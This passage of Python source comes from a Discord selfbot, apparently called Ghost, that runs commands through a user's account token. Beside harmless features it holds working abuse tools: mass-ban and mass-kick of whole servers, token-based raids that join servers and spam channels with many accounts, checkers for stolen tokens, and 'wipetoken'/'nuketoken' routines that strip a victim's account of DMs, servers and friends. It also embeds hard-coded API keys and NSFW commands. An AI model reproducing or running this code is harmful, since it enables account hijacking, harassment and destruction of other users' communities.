f'{ctx.channel.id}' # if resp.event.ready_supplemental: # DiscumClient.gateway.fetchMembers(guild_id, channel_id, wait=1) # if DiscumClient.gateway.finishedMemberFetching(guild_id): # DiscumClient.gateway.removeCommand(getmembers) # DiscumClient.gateway.close() # DiscumClient.gateway.run() # for memberID in DiscumClient.gateway.session.guild(f'{ctx.guild.id}').members: # member = await ctx.guild.fetch_member(int(memberID)) # ghostguild = await Ghost.fetch_guild(838869729829191681) # mutualGuilds = member.mutual_guilds # for guild in mutualGuilds: # print(guild.name) # DiscumClient.gateway.close() # if __embedmode__: # embed=discord.Embed( # title="Ghost Users", # description=f"There are a total of `{len(ghostUsers)}` Ghost users in `{ctx.guild.name}`\n \n```\n" + ", ".join(ghostUsers) + f"\n```", # color=__embedcolour__ # ) # embed.set_thumbnail(url=__embedimage__) # embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) # embed.timestamp = datetime.now() # await message.edit(content="", embed=embed) # else: # await message.edit(content=f"""```ini # [ Ghost Users ] # There is a total of {len(ghostUsers)} in {ctx.guild.name}. # {', '.join(ghostUsers)} # # {__embedfooter__} # ```""") @Ghost.command(name="addccmd", description="Add a custom command.", usage="addccmd [name] [response]", aliases=["addcustomcommand"]) async def addccmd(ctx, name, *, response): global ccmd customCommands = json.load(open("customcommands.json")) customCommands[name] = response json.dump(customCommands, open("customcommands.json", "w"), indent=4, sort_keys=False) ccmd = json.load(open("customcommands.json")) await ctx.send(f"Added `{Ghost.command_prefix}{name}` to your custom commands.", delete_after=__deletetimeout__) @Ghost.command(name="delccmd", description="Remove a custom command.", usage="delccmd [name]", aliases=["deletecustomcommand", "delcustomcommand", "removecustomcommand", "removeccmd", "deleteccmd"]) async def delccmd(ctx, name): global ccmd customCommands = json.load(open("customcommands.json")) customCommands.pop(name) json.dump(customCommands, open("customcommands.json", "w"), indent=4, sort_keys=False) ccmd = json.load(open("customcommands.json")) await ctx.send(f"Removed `{Ghost.command_prefix}{name}` from your custom commands", delete_after=__deletetimeout__) @Ghost.command(name="boobs", description="Pictures or videos of boobs.", usage=f"boobs", aliases=["tits", "tit", "milkers", "titties", "boob"]) async def boobs(ctx): type = "boobs" image = get_nsfw(type) if image.endswith("png") or image.endswith("jpeg") or image.endswith("jpg") or image.endswith("gif"): embed = discord.Embed(title=f"{type}", color=__embedcolour__) embed.set_image(url=image) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(image) @Ghost.command(name="ass", description="Pictures or videos of ass.", usage=f"ass") async def ass(ctx): type = "ass" image = get_nsfw(type) if image.endswith("png") or image.endswith("jpeg") or image.endswith("jpg") or image.endswith("gif"): if __embedmode__: embed = discord.Embed(title=f"{type}", color=__embedcolour__) embed.set_image(url=image) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(image) else: await ctx.send(image) @Ghost.command(name="pussy", description="Pictures or videos of pussy.", usage=f"pussy") async def pussy(ctx): type = "pussy" image = get_nsfw(type) if image.endswith("png") or image.endswith("jpeg") or image.endswith("jpg") or image.endswith("gif"): if __embedmode__: embed = discord.Embed(title=f"{type}", color=__embedcolour__) embed.set_image(url=image) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(image) else: await ctx.send(image) @Ghost.command(name="porngif", description="Porn gifs.", usage=f"porngif") async def porngif(ctx): type = "porngif" image = get_nsfw(type) if image.endswith("png") or image.endswith("jpeg") or image.endswith("jpg") or image.endswith("gif"): if __embedmode__: embed = discord.Embed(title=f"{type}", color=__embedcolour__) embed.set_image(url=image) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(image) else: await ctx.send(image) @Ghost.command(name="hentai", description="Pictures or videos of hentai.", usage=f"hentai") async def hentai(ctx): type = random.randint(1, 2) if type == 1: image = requests.get("https://nekos.life/api/lewd/neko").json()["neko"] elif type == 2: image = requests.get("https://nekos.life/api/v2/img/nsfw_neko_gif").json()["url"] if __embedmode__: embed = discord.Embed(title=f"hentai", color=__embedcolour__) embed.set_image(url=image) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(image) @Ghost.command(name="discordtheme", description="Change default Discord theme.", usage="discordtheme [light/dark]") async def discordtheme(ctx, theme = "dark"): theme = theme.lower() validThemes = ["dark", "light"] if theme in validThemes: DiscumClient = discum.Client(token=__token__, user_agent=get_random_user_agent(), log=False) DiscumClient.setTheme(theme) await ctx.send(f"Set Discord theme to `{theme}`.", delete_after=__deletetimeout__) else: await ctx.send("That isn't a valid Discord theme.", delete_after=__deletetimeout__) @Ghost.command(name="changehypesquad", description="Change your hypesquad house.", usage="changehypesquad [bravery/brilliance/balance]") async def changehypesquad(ctx, house): house = house.lower() houses = ["bravery", "brilliance", "balance"] if house in houses: DiscumClient = discum.Client(token=__token__, user_agent=get_random_user_agent(), log=False) DiscumClient.setHypesquad(house) await ctx.send(f"Changed your hypesquad house to `{house[:1].upper() + house[1:].lower()}`.", delete_after=__deletetimeout__) else: await ctx.send("That isn't a valid hypesquad house.", delete_after=__deletetimeout__) @Ghost.command(name="backupfriends", description="Backup all your friend's user IDs to a file.", usage="backupfriends", aliases=["friendbackup"]) async def backupfriends(ctx): print_info("Grabbing all friends...") request = requests.get("https://discord.com/api/v6/users/@me/relationships", headers={"authorization": __token__}) json = request.json() ids = [] blockedIds = [] incoming = [] outgoing = [] for item in json: if item["type"] == 1: print_info(f'Backed up {str(item["user"]["username"]) + "#" + str(item["user"]["discriminator"])}!') ids.append( str(item["id"]) + " : " + str(item["user"]["username"]) + "#" + str(item["user"]["discriminator"]) ) if item["type"] == 2: print_info(f'Backed up a blocked user : {str(item["user"]["username"]) + "#" + str(item["user"]["discriminator"])}') blockedIds.append( str(item["id"]) + " : " + str(item["user"]["username"]) + "#" + str(item["user"]["discriminator"]) ) if item["type"] == 3: print_info(f'Backed up an incoming friend request : {str(item["user"]["username"]) + "#" + str(item["user"]["discriminator"])}') incoming.append( str(item["id"]) + " : " + str(item["user"]["username"]) + "#" + str(item["user"]["discriminator"]) ) if item["type"] == 4: print_info(f'Backed up an outgoing friend request : {str(item["user"]["username"]) + "#" + str(item["user"]["discriminator"])}') outgoing.append( str(item["id"]) + " : " + str(item["user"]["username"]) + "#" + str(item["user"]["discriminator"]) ) print_info("Backed up all friends!") await ctx.send(f"Backed up a total of `{len(ids)}` friends, `{len(blockedIds)}` blocked, `{len(outgoing)}` outgoing friend requests and `{len(incoming)}` incoming friend requests to __data/friends.txt__.", delete_after=__deletetimeout__) if not ids: ids.append("Couldnt find any friends.") if not blockedIds: blockedIds.append("Couldnt find any blocked users.") if not outgoing: outgoing.append("Couldnt find any outgoing friend requests.") if not incoming: incoming.append("Couldnt find any incoming friend requests.") file = codecs.open("data/friends.txt", "w", encoding="utf-8") file.write( "Current Friends\n===============\n" + "\n".join(ids) + "\n \nOutgoing Requests\n=================\n" + "\n".join(outgoing) + "\n \nIncoming Requests\n=================\n" + "\n".join(incoming) + "\n \nBlocked Users\n=============\n" + "\n".join(blockedIds) ) file.close() @Ghost.command(name="backupservers", description="Backup all your servers and try to create invites for each one.", usage="backupservers", aliases=["backupguilds", "serverbackup", "guildbackup"]) async def backupservers(ctx): DiscumClient = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) try: await ctx.message.delete() except: pass print_info("Saving and creating invites for your guilds with a 4 second interval...") guilds = requests.get("https://discordapp.com/api/v6/users/@me/guilds", headers={"authorization": __token__}).json() print_info("Grabbing all the guilds...") guildsIdsAndInvites = [] for item in guilds: guildid = item["id"] guildname = item["name"] invite = "" print_info(f"Trying to create invite for {guildname}") server = discord.utils.get(Ghost.guilds, id=int(guildid)) for channel in server.text_channels: if invite == "": invite = DiscumClient.createInvite(str(channel.id)) if invite.status_code == 200: invite = invite.json()["code"] else: invite = "" break if invite == "": invite = "Failed to create an invite." guildsIdsAndInvites.append(item["name"] + " : " + str(item["id"]) + " : discord.gg/" + str(invite)) await asyncio.sleep(4) print_info(f"Saved guilds data.") file = codecs.open("data/servers.txt", "w", encoding="utf-8") file.write("\n".join(guildsIdsAndInvites)) file.close() await ctx.send("Saved a list of all your guilds and their IDs in __data/servers.txt__.", delete_after=__deletetimeout__) @Ghost.command(name="richpresence", description="Enable or disable rich presence.", usage="richpresence [on/off]", aliases=["rpc"]) async def richpresence(ctx, status): if status == "on" or status == "On": richpresence = json.load(open("richpresence.json")) richpresence["enabled"] = True json.dump(richpresence, open('richpresence.json', 'w'), sort_keys=False, indent=4) await ctx.send("Rich presence has been enabled, restarting to change effect...", delete_after=__deletetimeout__) restart_bot() elif status == "off" or status == "Off": richpresence = json.load(open("richpresence.json")) richpresence["enabled"] = False json.dump(richpresence, open('richpresence.json', 'w'), sort_keys=False, indent=4) await ctx.send("Rich presence has been disabled, restarting to change effect...", delete_after=__deletetimeout__) restart_bot() @Ghost.command(name="spacechannel", description="Create a channel with spaces.", usage="spacechannel [channel name]") async def spacechannel(ctx, *, channelName = "example channel name"): channelName = channelName.replace(" ", channelBlankChar) await ctx.guild.create_text_channel(name=channelName) if __embedmode__: embed = discord.Embed(title=f"Space Channel", description=f"Created a channel with the name `{channelName}`.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Space Channel ] Created a channel with the name {channelName}. # {__embedfooter__} ```""") @Ghost.command(name="uwu", description="Translate your messages to uwu!", usage="uwu [message]") async def uwu__(ctx, *, message): uwued = uwuify.uwu(message) await ctx.send(uwued) @Ghost.command(name="uwuify", description="Automatically translate all your sent messages to uwu!", usage="uwuify") async def uwuify__(ctx): global uwuifyEnabled if (uwuifyEnabled): uwuifyEnabled = False await ctx.send("All your messages will no longer be translated to uwu.", delete_after=__deletetimeout__) else: uwuifyEnabled = True await ctx.send("All your messages will now be translated to uwu.", delete_after=__deletetimeout__) @Ghost.command(name="geoip", description="Get information from an IP address.", usage="geoip [ip]", aliases=["iplookup", "lookupip", "ipinfo"]) async def geoip(ctx, ip): data = requests.get(f"http://ip-api.com/json/{ip}").json() data2 = requests.get(f"https://ipqualityscore.com/api/json/ip/oOswzMILsf8QA7JGtaQDdXARfDtbKW1K/{ip}").json() country = data["country"] city = data["city"] zipCode = data["zip"] lat = data["lat"] lon = data["lon"] isp = data["isp"] as1 = data["as"] region = data["regionName"] vpn = data2["vpn"] hostname = data2["host"] if __embedmode__: embed = discord.Embed(title=f"{ip} information...", color=__embedcolour__) embed.add_field(name="Country", value=f"```{country}```", inline=False) embed.add_field(name="City", value=f"```{city}```", inline=True) embed.add_field(name="Region", value=f"```{region}```", inline=True) embed.add_field(name="ZIP", value=f"```{zipCode}```", inline=True) embed.add_field(name="LAT", value=f"```{lat}```", inline=True) embed.add_field(name="LON", value=f"```{lon}```", inline=True) embed.add_field(name="VPN", value=f"```{vpn}```", inline=True) embed.add_field(name="AS", value=f"```{as1}```", inline=False) embed.add_field(name="ISP", value=f"```{isp}```", inline=False) embed.add_field(name="Hostname", value=f"```{hostname}```", inline=False) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ {ip} information.. ] Country: {country} City: {city} Region: {region} ZIP: {zipCode} LAT: {lat} LON: {lon} VPN: {vpn} AS: {as1} ISP: {isp} Hostname: {hostname} # {__embedfooter__} ```""", delete_after=__deletetimeout__) @Ghost.command(name="invite", description="Get Ghost's Discord server invite link.", usage="invite") async def invite(ctx): print_info(f"Discord server invite: {discordServer}") @Ghost.command(name="pytoexe", description="Convert a PY file to an executable.", usage="pytoexe [path]", aliases=["pythontoexe", "py2exe", "python2exe"]) async def pytoexe(ctx, *, path): pyFile = False file = path.split("/")[-1] if (file.endswith(".py")): pyFile = True if (pyFile): file = file[:-3] if __embedmode__: embed = discord.Embed(title=f"PY To Executable", description="Conversion for your file has started, check the console for more information.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() message = await ctx.send(embed=embed) else: message = await ctx.send(f"""```ini [ PY To Executable ] Conversion for your file has started, check the console for more information. # {__embedfooter__} ```""") print_info("Converting your file to an exe using pyinstaller...\nThis will fill your console and possibly take a while.") os.system(f'pyinstaller -n "{file}" -i "icon.ico" --onefile --distpath "pytoexe/" {path}') print_info("Conversion complete!") print(f"{fg.cYellow}Path: {fg.cGrey}pytoexe/{file}.exe") if __embedmode__: embed = discord.Embed(title=f"PY To Executable", description="Conversion for your file has completed! Check the console for more information.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await message.edit(content="", embed=embed) else: await message.edit(content=f"""```ini [ PY To Executable ] Converstion for your file has completed! Check the console for more information. # {__embedfooter__} ```""") else: if __embedmode__: embed = discord.Embed(title=f"PY To Executable", description="The path you submitted does not link to a PY file.", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ PY To Executable ] The path you submitted does not link to a PY file. # {__embedfooter__} ```""") @Ghost.command(name="statuscycle", description="Start a custom status cycle.", usage="statuscycle", aliases=["cyclestatus"]) async def statuscycle(ctx): global cycleStatus if (cycleStatus is False): cycleStatus = True else: cycleStatus = False def changeStatus(text2, token): url = "https://discordapp.com/api/v8/users/@me/settings" payload="{\r\n \"custom_status\": {\r\n \"text\": \"" + text2 + "\"\r\n }\r\n}" headers = { 'Authorization': token, 'Content-Type': 'application/json', 'Cookie': '__cfduid=d7e8d2784592da39fb3f621664b9aede51620414171; __dcfduid=24a543339247480f9b0bb95c710ce1e6' } requests.request("PATCH", url, headers=headers, data=payload) async def loopStatus(text): while cycleStatus is True: for word in text.split(" "): changeStatus(word, __token__) await asyncio.sleep(1) Ghost.loop.create_task(loopStatus(cycleStatusText)) if (cycleStatus is True): await ctx.send(f"Now looping your custom status.", delete_after=__deletetimeout__) else: await ctx.send(f"No longer looping your custom status.", delete_after=__deletetimeout__) @Ghost.command(name="statuscycletext", description="Set the text used in status cycle.", usage="statuscycletext [text]", aliases=["cyclestatustext"]) async def statuscycletext(ctx, *, text: str): global cycleStatusText cycleStatusText = text await ctx.send(f"Status cycle text set to `{cycleStatusText}`", delete_after=__deletetimeout__) @Ghost.command(name="ghostping", description="Ping a user then delete the message.", usage="ghostping [@user]") async def ghostping(ctx, user: discord.User): pass @Ghost.command(name="getmessage", description="Get a message by ID.", usage="getmessage [message id]", aliases=["fetchmessage"]) async def getmessage(ctx, messageid: int): msg = await ctx.send("Getting the message . . .") message = await get_message(ctx, messageid) if __embedmode__: embed = discord.Embed(title=f"Get Message", color=__embedcolour__) embed.add_field(name="Content", value=f"```{message.content}```", inline=True) embed.add_field(name="Author", value=f"```{message.author}```", inline=True) embed.add_field(name="Message Link", value=message.jump_url, inline=False) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await msg.edit(content="", embed=embed, delete_after=__deletetimeout__) else: await msg.edit(content=f"""```ini [ Get Message ] Content: {message.content} Author: {message.author} Message Link: {message.jump_url} # {__embedfooter__} ```""", delete_after=__deletetimeout__) @Ghost.command(name="watchdogstats", description="Get stats about Hypixel's Anticheat, Watchdog", usage="watchdogstats") async def watchdogstats(ctx): data = requests.get("https://api.hypixel.net/punishmentstats?key=591c390d-6e97-4b39-abb3-ef3fb386aff0").json() if __embedmode__: embed = discord.Embed(title=f"Watchdog Stats", color=__embedcolour__) embed.add_field(name="Total Bans", value="```" + str(data["watchdog_total"]) + "```", inline=True) embed.add_field(name="Last Minute", value="```" + str(data["watchdog_lastMinute"]) + "```", inline=True) embed.add_field(name="Daily Bans", value="```" + str(data["watchdog_rollingDaily"]) + "```", inline=True) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Watchdog Stats ] Total Bans: {data['watchdog_total']} Last Minute: {data['watchdog_lastMinute']} Daily Bans: {data['watchdog_rollingDaily']} # {__embedfooter__} ```""", delete_after=__deletetimeout__) @Ghost.command(name="ppin", description="Add a message to your personal pins.", usage="ppin [message id]", aliases=["personalpin", "addppin", "addpersonalpin"]) async def ppin(ctx, msgId: int): message = await get_message(ctx, msgId) data = json.load(open("data/personal-pins.json")) data[msgId] = {} data[msgId]["content"] = message.content data[msgId]["author"] = f"{message.author.name}#{message.author.discriminator}" json.dump(data, open("data/personal-pins.json", 'w'), sort_keys=False, indent=4) if __embedmode__: embed = discord.Embed(title=f"Personal Pin", color=__embedcolour__, description=f"Pinned message `{message.content}` by `{message.author.name}#{message.author.discriminator}`.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"**📌 Personal Pin**\nPinned message `{message.content}` by `{message.author.name}#{message.author.discriminator}`.") @Ghost.command(name="ppins", description="List all your pinned messages.", usage="ppins", aliases=["personalpins"]) async def ppins(ctx): data = json.load(open("data/personal-pins.json")) ppinsMsg = "" for value in data: content = data[value]["content"] author = data[value]["author"] ppinsMsg += f"\n__{value}__ :\n** **- Content : `{content}`\n** **- Author : `{author}`" if __embedmode__: embed = discord.Embed(title=f"Personal Pin", color=__embedcolour__, description=ppinsMsg) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"**Personal Pins**\n{ppinsMsg}") @Ghost.command(name="ppindel", description="Delete a pin from your personal pins.", usage="ppindel [pin id]", aliases=["ppindelete", "removeppin", "deleteppin", "personalpindelete", "deletepersonalpin", "removepersonalpin"]) async def ppindel(ctx, pinId: str): data = json.load(open("data/personal-pins.json")) del data[pinId] json.dump(data, open("data/personal-pins.json", 'w'), sort_keys=False, indent=4) if __embedmode__: embed = discord.Embed(title=f"Personal Pin", color=__embedcolour__, description=f"Delete pin `{pinId}`.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"**Personal Pin**\nDelete pin `{pinId}`.") @Ghost.command(name="countdown", description="Count down from a number.", usage="countdown [number]") async def countdown(ctx, number: int): for count in range(number, 0, -1): await ctx.send(count) @Ghost.command(name="countup", description="Count up from a number.", usage="countup [number]") async def countup(ctx, number: int): for count in range(number): await ctx.send(count) @Ghost.command(name="massban", description="Ban all the members in the command server.", usage="massban") async def massban(ctx): if __riskmode__: try: await ctx.message.delete() except: pass bot = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) def close_after_fetching(resp, guild_id): if bot.gateway.finishedMemberFetching(guild_id): print_info("Fetching complete.") members = bot.gateway.session.guild(guild_id).members bot.gateway.removeCommand({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.close() print_info(f"Fetched a total of {len(members)} members.") return members def get_members(guild_id, channel_id): print_info("Fetching members...") bot.gateway.fetchMembers(guild_id, channel_id, keep="all", wait=1) bot.gateway.command({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.run() bot.gateway.resetSession() return bot.gateway.session.guild(guild_id).members members = get_members(str(ctx.guild.id), str(ctx.channel.id)) for member in members: try: member = await ctx.guild.fetch_member(int(member)) await member.ban() await asyncio.sleep(1) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="masskick", description="Kick all the members in the command server.", usage="masskick") async def masskick(ctx): if __riskmode__: try: await ctx.message.delete() except: pass bot = discum.Client(token=__token__, log=False, user_agent=get_random_user_agent()) def close_after_fetching(resp, guild_id): if bot.gateway.finishedMemberFetching(guild_id): print_info("Fetching complete.") members = bot.gateway.session.guild(guild_id).members bot.gateway.removeCommand({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.close() print_info(f"Fetched a total of {len(members)} members.") return members def get_members(guild_id, channel_id): print_info("Fetching members...") bot.gateway.fetchMembers(guild_id, channel_id, keep="all", wait=1) bot.gateway.command({'function': close_after_fetching, 'params': {'guild_id': guild_id}}) bot.gateway.run() bot.gateway.resetSession() return bot.gateway.session.guild(guild_id).members members = get_members(str(ctx.guild.id), str(ctx.channel.id)) for member in members: try: member = await ctx.guild.fetch_member(int(member)) await member.kick() await asyncio.sleep(1) except: pass else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="raidjoin", description="Make all your account tokens join a server.", usage="raidjoin [delay] [invite]") async def raidjoin(ctx, delay:int = 3, *, invite: str): if __riskmode__: print_info(f"Trying to join server with tokens every {delay} seconds.") for Token in open("data/tokens.txt", "r").readlines(): Token = Token.replace("\n", "") userAgent = get_random_user_agent() request = requests.post(f"https://discord.com/api/v9/invites/{invite}", headers={ "Authorization": Token, "accept": "*/*", "accept-language": "en-US", "connection": "keep-alive", "cookie": f"__cfduid={os.urandom(43).hex()}; __dcfduid={os.urandom(32).hex()}; locale=en-US", "DNT": "1", "origin": "https://discord.com", "sec-fetch-dest": "empty", "sec-fetch-mode": "cors", "sec-fetch-site": "same-origin", "referer": "https://discord.com/channels/@me", "TE":"Trailers ", "User-Agent": userAgent, "X-Super-Properties": "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJzdGFibGUiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC45MDAxIiwib3NfdmVyc2lvbiI6IjEwLjAuMTkwNDIiLCJvc19hcmNoIjoieDY0Iiwic3lzdGVtX2xvY2FsZSI6ImVuLVVTIiwiY2xpZW50X2J1aWxkX251bWJlciI6ODMwNDAsImNsaWVudF9ldmVudF9zb3VyY2UiOm51bGx9" }) if request.status_code == 200: print_info(f"Joined successfully.") else: print_info("Failed to join.") try: print_info("Accepted guild rules.") requests.put(f"https://discord.com/api/guilds/{request['guild']['id']}/requests/@me", headers={"Authorization": Token, "User-Agent": userAgent, "Content-Type": "application/json"}, data=json.dumps({})) except: print_info("Couldnt accept guild rules") await asyncio.sleep(delay) else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="tokenraid", description="Raid a server with all your account tokens.", usage="tokenraid [threads] [amount] [channel id] (message)") async def tokenraid(ctx, threadsAmount:int, amount: int, channel_id: int = None, *, text = None): if __riskmode__: await ctx.message.delete() tokens = [] for token in open("data/tokens.txt", "r").readlines(): tokens.append(token.replace("\n", "")) def raid(): def sendMessages(): message = text print_info("Started new thread.") for _ in range(amount): requests.post(f"https://discord.com/api/channels/{channel_id}/messages", headers={"Authorization": random.choice(tokens), "User-Agent": get_random_user_agent(), "Content-Type": "application/json"}, data=json.dumps({ "content": message + f" [{random.randint(1000, 9999)}]" })) print_info("Raid has begun.") threads = [] for _ in range(threadsAmount): thread = threading.Thread(target=sendMessages()) threads.append(thread) threads[_].start() for thread in threads: thread.join() print_info("Raid finished.") Ghost.loop.create_task(raid()) else: if __embedmode__: embed = discord.Embed(title=f"Abusive Commands", color=__embedcolour__, description=f"You have risk mode disabled, you cant use this command.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Abuse Commands ] You have risk mode disabled, you cant use this command. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="checktoken", description="Checks if a token is working.", usage="checktoken [token]") async def checktoken(ctx, *, token): tokens = [token] valid = "invalid" message = await ctx.send("Starting check, read console for more information.") print_info("Checking the token you gave...") for token in tokens: request = requests.get("https://discord.com/api/users/@me/library", headers={"Authorization": token, "User-Agent": get_random_user_agent()}) if request.status_code != 200: valid = "invalid" print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cRed}[INVALID] {fg.cWhite}{token}") else: valid = "valid" print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cGreen}[VALID] {fg.cWhite}{token}") await message.edit(content="Check complete, read console for more information.", delete_after=__deletetimeout__) print_info(f"Check complete, the token is {valid}.") @Ghost.command(name="checktokens", description="Checks if your tokens are working.", usage="checktokens") async def checktokens(ctx): tokens = [] validTokens = [] invalidTokens = [] message = await ctx.send("Starting check, read console for more information.") print_info("Checking your tokens has started.") for token in open("data/tokens.txt", "r").readlines(): tokens.append(token.replace("\n", "")) for token in tokens: request = requests.get("https://discord.com/api/users/@me/library", headers={"Authorization": token, "User-Agent": get_random_user_agent()}) if request.status_code != 200: invalidTokens.append(token) print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cRed}[INVALID] {fg.cWhite}{token}") else: validTokens.append(token) print(f"{printSpaces}{fg.cGrey}[{getCurrentTime()}] {fg.cGreen}[VALID] {fg.cWhite}{token}") open("data/valid-tokens.txt", "w").write('\n'.join(validTokens)) open("data/invalid-tokens.txt", "w").write('\n'.join(invalidTokens)) await message.edit(content="Check complete, read console for more information.", delete_after=__deletetimeout__) print_info("Check complete.") print_info(f"Valid tokens: {len(validTokens)} (Saved to data/valid-tokens.txt)") print_info(f"Invalid tokens: {len(invalidTokens)} (Saved to data/invalid-tokens.txt)") @Ghost.command(name="wipetoken", description="Completely wipe a token.", aliases=["cleantoken"]) async def wipetoken(ctx, token): try: await ctx.message.delete() except: pass await ctx.send("Check console for more info...", delete_after=__deletetimeout__) def closeDms(): try: dms = requests.get("https://discord.com/api/users/@me/channels", headers={"Authorization": token, "User-Agent": get_random_user_agent()}).json() for dm in dms: try: requests.delete(f"https://discord.com/api/channels/{dm['id']}", headers={"Authorization": token, "User-Agent": get_random_user_agent()}) except: pass except: pass def leaveServers(): try: guilds = requests.get("https://discord.com/api/users/@me/guilds", headers={"Authorization": token, "User-Agent": get_random_user_agent()}).json() for guild in guilds: try: requests.delete(f"https://discord.com/api/guilds/{guild['id']}", headers={"Authorization": token, "User-Agent": get_random_user_agent()}) except: pass except: pass def removeFriends(): try: friends = requests.get("https://discord.com/api/users/@me/relationships", headers={"Authorization": token, "User-Agent": get_random_user_agent()}).json() for friend in friends: try: requests.delete(f"https://discord.com/api/users/@me/relationships/{friend['id']}", headers={"Authorization": token, "User-Agent": get_random_user_agent()}) except: pass except: pass threading.Thread(target=closeDms).start() threading.Thread(target=leaveServers).start() threading.Thread(target=removeFriends).start() @Ghost.command(name="nuketoken", description="Nuke a token.", usage="nuketoken [token]", aliases=["tokennuke"]) async def nuketoken(ctx, token): try: await ctx.message.delete() except: pass await ctx.send("Check console for more info...", delete_after=__deletetimeout__) def themeSpammer(): themes = ["dark", "light"] for i in range(999999999): requests.patch("https://discord.com/api/users/@me/settings", headers={"Authorization": token, "User-Agent": get_random_user_agent(), "Content-Type": "application/json"}, data=json.dumps({ "theme": random.choice(themes) })) def closeDms(): try: dms = requests.get("https://discord.com/api/users/@me/channels", headers={"Authorization": token, "User-Agent": get_random_user_agent()}).json() for dm in dms: try: requests.delete(f"https://discord.com/api/channels/{dm['id']}", headers={"Authorization": token, "User-Agent": get_random_user_agent()}) except: pass except: pass def leaveServers(): try: guilds = requests.get("https://discord.com/api/users/@me/guilds", headers={"Authorization": token, "User-Agent": get_random_user_agent()}).json() for guild in guilds: try: requests.delete(f"https://discord.com/api/guilds/{guild['id']}", headers={"Authorization": token, "User-Agent": get_random_user_agent()}) except: pass except: pass def removeFriends(): try: friends = requests.get("https://discord.com/api/users/@me/relationships", headers={"Authorization": token, "User-Agent": get_random_user_agent()}).json() for friend in friends: try: requests.delete(f"https://discord.com/api/users/@me/relationships/{friend['id']}", headers={"Authorization": token, "User-Agent": 